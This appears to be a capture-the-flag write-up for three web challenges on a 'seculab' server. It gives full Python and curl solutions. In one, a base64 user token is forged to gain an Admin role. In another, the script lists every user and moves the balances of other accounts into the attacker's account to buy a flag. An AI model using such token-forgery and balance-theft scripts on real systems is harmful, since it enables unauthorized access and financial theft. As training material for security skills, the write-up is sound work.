Indonesia

1. POC

```
curl -H "usertoken: eyJpZCI6NSwidXNlciI6IndhaHl1aGFkaSIsInBhc3N3b3JkIjoid2FoeXVoYWRpIiwicm9sZSI6I
nNpc3dhIn0=" 45.77.98.246:57777/ujian/siswa/kuncijawaban/5 | jq .

  % Total    % Received % Xferd  Average Speed   Time    Time  Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
    100   135  100   135    0     0    250      0 --:--:-- --:--:-- --:--:--   250

{
  "code": 500,
  "status": "Internal Server Error",
  "message": "",
  "data": {
    "invalid": "anda adalah siswa hanya Admin yang bisa membuka  jawaban"
  }
}
```

2. Vulnerability

Decode usertoken with base64 and change role ‘siswa’ to ‘Admin’ and encode Again with base64

```
>>>"eyJpZCI6NSwidXNlciI6IndhaHl1aGFkaSIsInBhc3N3b3JkIjoid2FoeXVoYWRpIiwicm9sZSI6InNpc3dhIn0=".dec
ode('base64')
'{"id":5,"user":"wahyuhadi","password":"wahyuhadi","role":"siswa"}'
>>> '{"id":5,"user":"wahyuhadi","password":"wahyuhadi","role":"Admin"}'.encode('base64')
'eyJpZCI6NSwidXNlciI6IndhaHl1aGFkaSIsInBhc3N3b3JkIjoid2FoeXVoYWRpIiwicm9sZSI6IkFkbWluIn0='
>>>
```

and after that get the data with new usertoken

```
curl -H "usertoken: eyJpZCI6NSwidXNlciI6IndhaHl1aGFkaSIsInBhc3N3b3JkIjoid2FoeXVoYWRpIiwicm9sZSI6I
kFkbWluIn0=" 45.77.98.246:57777/ujian/siswa/kuncijawaban/5 | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   214  100   214    0     0    380      0 --:--:-- --:--:-- --:--:--   380
{
  "code": 200,
  "status": "OK",
  "message": "",
  "data": {
    "role": "Admin",
    "jawaban": {
      "id": 5,
      "soal_id": 5,
      "jawaban": "{key : Security_Never_End1n9}",
      "createdAt": "2018-04-06T18:16:21.000Z",
      "updatedAt": "2018-04-06T18:16:22.000Z"
    }
  }
}
```

CHINA

in this case your task is get acces login on a service bot using password with price bitcoin on market bittrex.com.

I created a simple program for this task

```
import requests
import json

urla = 'http://45.77.98.246:57777/binding/loginbot/' #endpoint login
#get realtime price bitcoin with this API endpoint
bit = 'https://bittrex.com/api/v1.1/public/getmarketsummary?market=usdt-btc'
headers = {'Content-Type': 'application/json'}
url = requests.get(bit)
#dump json
dump = json.loads(url.text)
key = (dump['result'][0]['Last'])
tes = {"password" : key }
print (tes)
resp = requests.post(urla, json=tes)
print (resp.text)
```

and run this program

```
[~/soal-seculab/web local]$ python solve.py
{'password': 7942.05}
{"key":"seculab_is_happy"}
[~/soal-seculab/web local]$
```

RUSIA

at this task , your challenge is , stolen money from vuln endpoint and buy some flag on ecommerce , your time from stolen money to buy some flags only 10 second . if you late all change will restore

create program to register with this end point http://45.77.98.246:57777/ecommerce/register
and send payload request body with json .

```
{
    "username" : "seculab", // your username
    "password" : "seculab", // your password
    "account" : "seculab" // your account name
}
```

create simple program to register

```
import requests
api = "http://45.77.98.246:57777/ecommerce/register"
body =  {
    "username" : "seculab",
    "password" : "seculab",
    "account" : "seculab"
}
```

```
data = requests.post(api, json=body)
print (data.text)
```

and run it

```
[~/soal-seculab/web local]$ python rusia-regis.py
{"code":200,"status":"OK","message":"","data":{"result":{"id":34,"username":"seculab","password":
"seculab","balance":0,"account":"seculab","updatedAt":"2018-04-16T16:53:49.053Z","createdAt":"201
8-04-16T16:53:49.053Z"}}}
[~/soal-seculab/web local]$
```

create simple program for login with this account at this end point http://45.77.98.246:57777/ecommerce/login

```
import requests
api = "http://45.77.98.246:57777/ecommerce/login"
body =  {
    "username" : "seculab",
    "password" : "seculab",
}

data = requests.post(api, json=body)
print (data.text)
```

and run it

```
[~/soal-seculab/web local]$ python rusia-login.py
{"code":200,"status":"OK","message":"","data":{"data":{"id":34,"username":"seculab","password":"s
eculab","balance":0,"account":"seculab","createdAt":"2018-04-16T16:53:49.000Z","updatedAt":"2018-
04-16T16:59:11.000Z"},"token":"eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYi
J9"}}
[~/soal-seculab/web local]$
```

and you got token

```
your token => eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9
```

and time to fun with all endpoint http://45.77.98.246:57777/ecommerce/action/getuserinfo , i create program to get all data user info

```
import requests
api = "http://45.77.98.246:57777/ecommerce/action/getuserinfo"

headers = {
    "usertoken" : "eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9"
}
data = requests.get(api, headers=headers)
print (data.text)
```

and you can see user in this database with account balance

```
{
```

```
  "code": 200,
  "status": "OK",
  "message": "",
  "data": {
    "result": {
      "count": 28,
      "rows": [
    {
      "id": 1,
      "username": "Edward",
      "account": "snoden",
      "balance": 10000
    },
    {
      "id": 2,
      "username": "Putin",
      "account": "president",
      "balance": 3000
    },
    {
      "id": 6,
      "username": "whayuhadi",
      "account": "wahyuhadi",
      "balance": 0
    },

    {
      "id": 8,
      "username": "whayuhadi1",
      "account": "wahyuhadi1",
      "balance": 0
    },
    {
      "id": 12,
      "username": "recyclebin",
      "account": null,
      "balance": 0
    },
    {
      "id": 13,
      "username": "recyclebin1",
      "account": "recyclebin",
      "balance": 0
    },
    {
      "id": 14,
      "username": "recyclebinlagi",
      "account": "bin",
      "balance": 0
    },
    {
      "id": 15,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 16,
      "username": null,
      "account": null,
```

```
      "balance": 0
    },
    {
      "id": 17,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 18,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 19,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 20,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 21,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 22,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 23,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 24,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 25,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 26,
      "username": null,
      "account": null,
```

```
      "balance": 0
    },
    {
      "id": 27,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 28,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 29,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 30,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 31,
      "username": null,
      "account": null,
      "balance": 0
    },
    {
      "id": 32,
      "username": "debi",
      "account": "debi",
      "balance": 0
    },
    {
      "id": 33,
      "username": "seculab1",
      "account": "seculab1",
      "balance": 0
    },
    {
      "id": 34,
      "username": "seculab",
      "account": "seculab",
      "balance": 0
    }
      ]
    }
  }
}
```


only snowden and putih have balance in this case okay :) ready for stolen their account with this endpoint http://45.77.98.246:57777/ecommerce/action/sendbalance

EXAMPLE program to stolen .

```
    import requests
    api = "http://45.77.98.246:57777/ecommerce/action/sendbalance"
    username = "seculab"
    headers = {
        "usertoken" : "eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9"
    }
    body = {
        "from" : "snoden",
        "to" : "seculab",
        "total" : 100
    }
    data = requests.post(api, headers=headers, json=body)
    print (data.text)
```

and this axample programe to buy

```
import requests
api = "http://45.77.98.246:57777/ecommerce/action/buy"
username = "seculab"
headers = {
    "usertoken" : "eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9"
    "id" : 4
}

data = requests.post(api, headers=headers)
print (data.text)
```

after understanding security logic , lets to create one program to buy the flag with time 10 seconds

this is full program

```
import requests
send = "http://45.77.98.246:57777/ecommerce/action/sendbalance"
buy = "http://45.77.98.246:57777/ecommerce/action/buy"
username = "seculab"
targetAccount = ["president","snoden"]
targetBalance = [3000, 10000]
headers = {
    "usertoken" : "eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9",
}
for i in range (0, len(targetAccount)):
    body = {
    "from" : targetAccount[i],
    "to" : "seculab",
    "total" : targetBalance[i]
    }
    data = requests.post(send, headers=headers, json=body)
    print ("[+] Stolen money from ",targetAccount[i], " total ", targetBalance[i])

headersBuy = {
    "usertoken" : "eyJpZCI6MzQsInVzZXJuYW1lIjoic2VjdWxhYiIsInBhc3N3b3JkIjoic2VjdWxhYiJ9",
    "id" : "4"
}
buyData = requests.post(buy, headers=headersBuy)
print ("[+] BUY ACTIONS")
print (buyData.text)
```

output program.

```
    [~/soal-seculab/web local]$ python rusia.py
    [+] Stolen money from  president  total  3000
    [+] Stolen money from  snoden  total  10000
    [+] BUY ACTIONS
    {"code":200,"status":"OK","message":"","data":{"your_balance":  3188,"barang":{"id":4,"isi":"
{key : seculab_1s_Em3J1ng}"}}}
```

now we can see with time command

```
    [~/soal-seculab/web local]$ time python rusia.py
[+] Stolen money from  president  total  3000
[+] Stolen money from  snoden  total  10000
[+] BUY ACTIONS
{"code":200,"status":"OK","message":"","data":{"your_balance":3188,"barang":{"id":4,"isi":"{key :
 seculab_1s_Em3J1ng}"}}}

real    0m3.036s
user    0m0.190s
sys 0m0.043s
[~/soal-seculab/web local]$
```

this program only need 0m3.036s 3 seconds

and gotcha !!!!!!